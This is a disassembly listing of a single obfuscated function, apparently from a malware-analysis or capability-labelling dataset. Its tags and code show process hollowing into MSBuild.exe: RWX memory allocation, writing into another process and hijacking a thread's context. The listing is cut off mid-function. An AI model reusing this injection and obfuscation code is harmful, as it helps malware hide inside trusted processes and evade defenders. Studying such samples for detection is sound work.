Function at 0x10008950
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a0
mov eax, dword [0x1006da04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1a8], 0xb528118b
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1ac], eax
sub eax, 0x84a66eea
je 0x1000ba20
jmp 0x1000898c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x85280eb5
je 0x1000b99c
jmp 0x100089a2
mov eax, dword [ebp - 0x1ac]
sub eax, 0x858b25cc
je 0x1000af7e
jmp 0x100089b8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x86da8034
je 0x1000b872
jmp 0x100089ce
mov eax, dword [ebp - 0x1ac]
sub eax, 0x881c4061
je 0x1000b772
jmp 0x100089e4
mov eax, dword [ebp - 0x1ac]
sub eax, 0x890f556c
je 0x1000be59
jmp 0x100089fa
mov eax, dword [ebp - 0x1ac]
sub eax, 0x89699282
je 0x1000ef5f
jmp 0x10008a10
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8a42bac7
je 0x1000d5e4
jmp 0x10008a26
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8a87a4dc
je 0x1000ee22
jmp 0x10008a3c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8a8caa44
je 0x1000f002
jmp 0x10008a52
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8a8ea21e
je 0x1000c18e
jmp 0x10008a68
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8c748544
je 0x1000edda
jmp 0x10008a7e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8dbeb6ea
je 0x1000caac
jmp 0x10008a94
mov eax, dword [ebp - 0x1ac]
sub eax, 0x8faee815
je 0x1000e942
jmp 0x10008aaa
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9156070b
je 0x1000f020
jmp 0x10008ac0
mov eax, dword [ebp - 0x1ac]
sub eax, 0x937a98a6
je 0x1000b26c
jmp 0x10008ad6
mov eax, dword [ebp - 0x1ac]
sub eax, 0x93dc6592
je 0x1000eb5a
jmp 0x10008aec
mov eax, dword [ebp - 0x1ac]
sub eax, 0x94d08425
je 0x1000ea8c
jmp 0x10008b02
mov eax, dword [ebp - 0x1ac]
sub eax, 0x952c3178
je 0x1000d40b
jmp 0x10008b18
mov eax, dword [ebp - 0x1ac]
sub eax, 0x95679c40
je 0x1000d23c
jmp 0x10008b2e
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9635f7c6
je 0x1000c0d7
jmp 0x10008b44
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9676e1b5
je 0x1000efae
jmp 0x10008b5a
mov eax, dword [ebp - 0x1ac]
sub eax, 0x96b15e98
je 0x1000c93b
jmp 0x10008b70
mov eax, dword [ebp - 0x1ac]
sub eax, 0x971846d9
je 0x1000e13e
jmp 0x10008b86
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9786efeb
je 0x1000cedf
jmp 0x10008b9c
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9a548a5c
je 0x1000c61c
jmp 0x10008bb2
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9ab3a971
je 0x1000ece0
jmp 0x10008bc8
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9b35220b
je 0x1000cf49
jmp 0x10008bde
mov eax, dword [ebp - 0x1ac]
sub eax, 0x9b3c38dd
je 0x1000eea6
jmp 0x10008bf4
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa0016fbe
je 0x1000b28d
jmp 0x10008c0a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa037aa2b
je 0x1000abaf
jmp 0x10008c20
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa0949278
je 0x1000cc60
jmp 0x10008c36
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa0ecd36d
je 0x1000d094
jmp 0x10008c4c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa1449ed6
je 0x1000df06
jmp 0x10008c62
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa2d8cd79
je 0x1000bad7
jmp 0x10008c78
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa33f78ce
je 0x1000c4a2
jmp 0x10008c8e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa56ff859
je 0x1000c830
jmp 0x10008ca4
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa597a95c
je 0x1000df27
jmp 0x10008cba
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa5e0ba24
je 0x1000d500
jmp 0x10008cd0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa6aa8c01
je 0x1000d76f
jmp 0x10008ce6
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa7e94740
je 0x1000cb75
jmp 0x10008cfc
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa81af6c1
je 0x1000c29e
jmp 0x10008d12
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa84a54ed
je 0x1000bfdc
jmp 0x10008d28
mov eax, dword [ebp - 0x1ac]
sub eax, 0xa87ce0d9
je 0x1000dca2
jmp 0x10008d3e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xab4b3778
je 0x1000dcb1
jmp 0x10008d54
mov eax, dword [ebp - 0x1ac]
sub eax, 0xabe5f11c
je 0x1000c355
jmp 0x10008d6a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xabfa925b
je 0x1000c9b1
jmp 0x10008d80
mov eax, dword [ebp - 0x1ac]
sub eax, 0xac09ad88
je 0x1000ca36
jmp 0x10008d96
mov eax, dword [ebp - 0x1ac]
sub eax, 0xae5404a0
je 0x1000e0c8
jmp 0x10008dac
mov eax, dword [ebp - 0x1ac]
sub eax, 0xae56242b
je 0x1000d34c
jmp 0x10008dc2
mov eax, dword [ebp - 0x1ac]
sub eax, 0xaf19d928
je 0x1000e045
jmp 0x10008dd8
mov eax, dword [ebp - 0x1ac]
sub eax, 0xaf87a015
je 0x1000ccca
jmp 0x10008dee
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb09ac291
je 0x1000d33d
jmp 0x10008e04
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb09e7c58
je 0x1000bbb7
jmp 0x10008e1a
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb24479c7
je 0x1000b9d7
jmp 0x10008e30
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb25c87b0
je 0x1000eb93
jmp 0x10008e46
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb2ddc761
je 0x1000c52b
jmp 0x10008e5c
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb42d4bef
je 0x1000aed3
jmp 0x10008e72
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb528118b
je 0x1000a20f
jmp 0x10008e88
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb6573bb6
je 0x1000c213
jmp 0x10008e9e
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb6890908
je 0x1000d825
jmp 0x10008eb4
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb7a798a1
je 0x1000eb7e
jmp 0x10008eca
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb7cb6a0a
je 0x1000ec9b
jmp 0x10008ee0
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb8541af9
je 0x1000e054
jmp 0x10008ef6
mov eax, dword [ebp - 0x1ac]
sub eax, 0xb941509b
je 0x1000bdde
push eax
mov eax, esp
mov dword [ebp - 0x188], eax
push eax
mov eax, esp
mov dword [ebp - 0x184], eax
push eax
mov eax, esp
mov dword [ebp - 0x180], eax
push eax
mov eax, esp
mov dword [ebp - 0x17c], eax
push eax
mov eax, esp
mov dword [ebp - 0x178], eax
push eax
mov eax, esp
mov dword [ebp - 0x174], eax
push eax
mov eax, esp
mov dword [ebp - 0x170], eax
push eax
mov eax, esp
mov dword [ebp - 0x16c], eax
push eax
mov eax, esp
mov dword [ebp - 0x168], eax
push eax
mov eax, esp
mov dword [ebp - 0x164], eax
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x1a8], 0xd84965f6
jmp 0x1000f09e
mov al, byte [ebp - 0x11f]
and al, 1
mov byte [ebp - 0x199], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x1a0], eax
mov al, byte [ebp - 0x199]
mov byte [ebp - 0x11e], al
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb8541af9
mov ecx, 0x38cf60c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x114]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov edx, eax
mov eax, 0x5c917512
mov ecx, 0x312aed0
cmp edx, 0
cmovge eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov eax, dword [0x1006ec88]
mov ecx, dword [0x1006ec84]
mov edx, eax
sub edx, 0xe47f44d4
sub edx, 1
add edx, 0xe47f44d4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb25c87b0
mov ecx, 0x37b5cd09
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov dl, byte [ebp - 0x10d]
mov eax, 0xa0016fbe
mov ecx, 0x5a90b48a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
mov edx, ecx
sub edx, 0xc0ff6a2f
sub edx, 1
add edx, 0xc0ff6a2f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x59e1f31b
mov ecx, 0x718d20c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov eax, dword [0x1006ec88]
mov ecx, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x410d3650
mov ecx, 0x258af1e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0x5d6e19ed
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0x63bcf368
jmp 0x1000f09e
mov eax, dword [0x1006ec88]
mov ecx, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d9306d7
mov ecx, 0x84a66eea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov eax, dword [0x1006ec88]
mov ecx, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb7cb6a0a
mov ecx, 0x5ed395fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3d9306d7
mov ecx, 0xd4329a09
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdae003d5
mov ecx, 0x7ef63e0a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov dl, byte [ebp - 0xbd]
mov eax, 0xa84a54ed
mov ecx, 0x7d681205
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0x412cd05c
jmp 0x1000f09e
mov eax, dword [0x1006ec88]
mov ecx, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa6b012f
mov ecx, 0x78cb27d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0x6c86d030
jmp 0x1000f09e
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0xb8]
mov dword [eax], ecx
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf61d1ca5
mov ecx, 0xc6fc1de4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov eax, dword [0x1006ec88]
mov ecx, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9ab3a971
mov ecx, 0x59667ffa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov eax, dword [0x1006ec88]
mov ecx, dword [0x1006ec84]
mov edx, eax
add edx, 0xc1af5fa8
sub edx, 1
sub edx, 0xc1af5fa8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd34329e3
mov ecx, 0xbfc716ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x194]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0xa8], eax
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc765a7bd
mov ecx, 0xb2ddc761
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0xc8908f4d
jmp 0x1000f09e
mov dl, byte [ebp - 0xa1]
mov eax, 0xe8d29d55
mov ecx, 0x3da5a4c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
add ecx, 0xb92c069f
add ecx, 8
sub ecx, 0xb92c069f
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
mov edx, ecx
sub edx, 0x824fc9c9
sub edx, 1
add edx, 0x824fc9c9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc27741db
mov ecx, 0x30e19b8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
mov edx, ecx
add edx, 0xc613b87
sub edx, 1
sub edx, 0xc613b87
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3e467ef5
mov ecx, 0xabfa925b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
mov edx, ecx
add edx, 0xe1e36c38
sub edx, 1
sub edx, 0xe1e36c38
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3e467ef5
mov ecx, 0x3bb3c947
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
mov edx, ecx
sub edx, 0x63770c8a
sub edx, 1
add edx, 0x63770c8a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe169d48
mov ecx, 0x8dbeb6ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0x76f09da2
sub ecx, 8
sub ecx, 0x76f09da2
shr ecx, 1
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x194]
mov eax, dword [eax + 0x34]
add ecx, 0x3f4f647a
sub ecx, eax
sub ecx, 0x3f4f647a
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov dword [eax], 0
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
mov edx, ecx
add edx, 0xf5b194e5
sub edx, 1
sub edx, 0xf5b194e5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe169d48
mov ecx, 0xa7e94740
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0xbefa967b
jmp 0x1000f09e
mov eax, dword [ebp - 0x160]
mov esi, dword [eax]
mov edx, dword [ebp - 0x9c]
mov eax, 0xae56242b
mov ecx, 0x422e81ad
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8c748544
mov ecx, 0x6993abff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x174]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x94], eax
mov eax, dword [0x1006ec88]
mov ecx, dword [0x1006ec84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6146d533
mov ecx, 0x9b35220b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0x3e0544ad
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0xd78e7826
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0xdbaba1d5
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0xbefa967b
jmp 0x1000f09e
mov eax, dword [0x1006ec88]
mov ecx, dword [0x1006ec84]
mov edx, eax
sub edx, 0x61906c38
sub edx, 1
add edx, 0x61906c38
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda49c296
mov ecx, 0x2c48ffbf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
mov edx, ecx
sub edx, 0x3014e66e
sub edx, 1
add edx, 0x3014e66e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x744adaf2
mov ecx, 0xc58b3ea9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x174]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0x25049648
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0xe8d29d55
jmp 0x1000f09e
mov ecx, dword [ebp - 0x84]
add ecx, 0xc752c289
add ecx, 8
sub ecx, 0xc752c289
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov edx, dword [ebp - 0x194]
mov eax, 0xab4b3778
mov ecx, 0xf2ad015b
cmp dword [edx + 0xc4], 0
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
mov edx, ecx
sub edx, 0x7b598e5f
sub edx, 1
add edx, 0x7b598e5f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x15598dea
mov ecx, 0xba5eda6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0xab4b3778
jmp 0x1000f09e
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x194]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x198]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x1a8], 0x41dbf07a
jmp 0x1000f09e
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100105e0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x1a8], 0xcfd0abcb
jmp 0x1000f09e
mov dword [ebp - 0x1a8], 0x101757e3
jmp 0x1000f09e
mov al, byte [ebp - 0x11f]
and al, 1
mov byte [ebp - 0x199], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x1a8], 0xa037aa2b
jmp 0x1000f09e
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
mov edx, ecx
sub edx, 0x43dee729
sub edx, 1
add edx, 0x43dee729
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6b2ff805
mov ecx, 0x971846d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000f09e
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x188]
lea ecx, [ebp - 0x68]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, dword [ebp - 0x180]
mov ecx, dword [0x1006ec88]
mov eax, dword [0x1006ec84]
mov edx, ecx
add edx, 0xbd4a495e
sub edx, 1
sub edx, 0xbd4a495e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
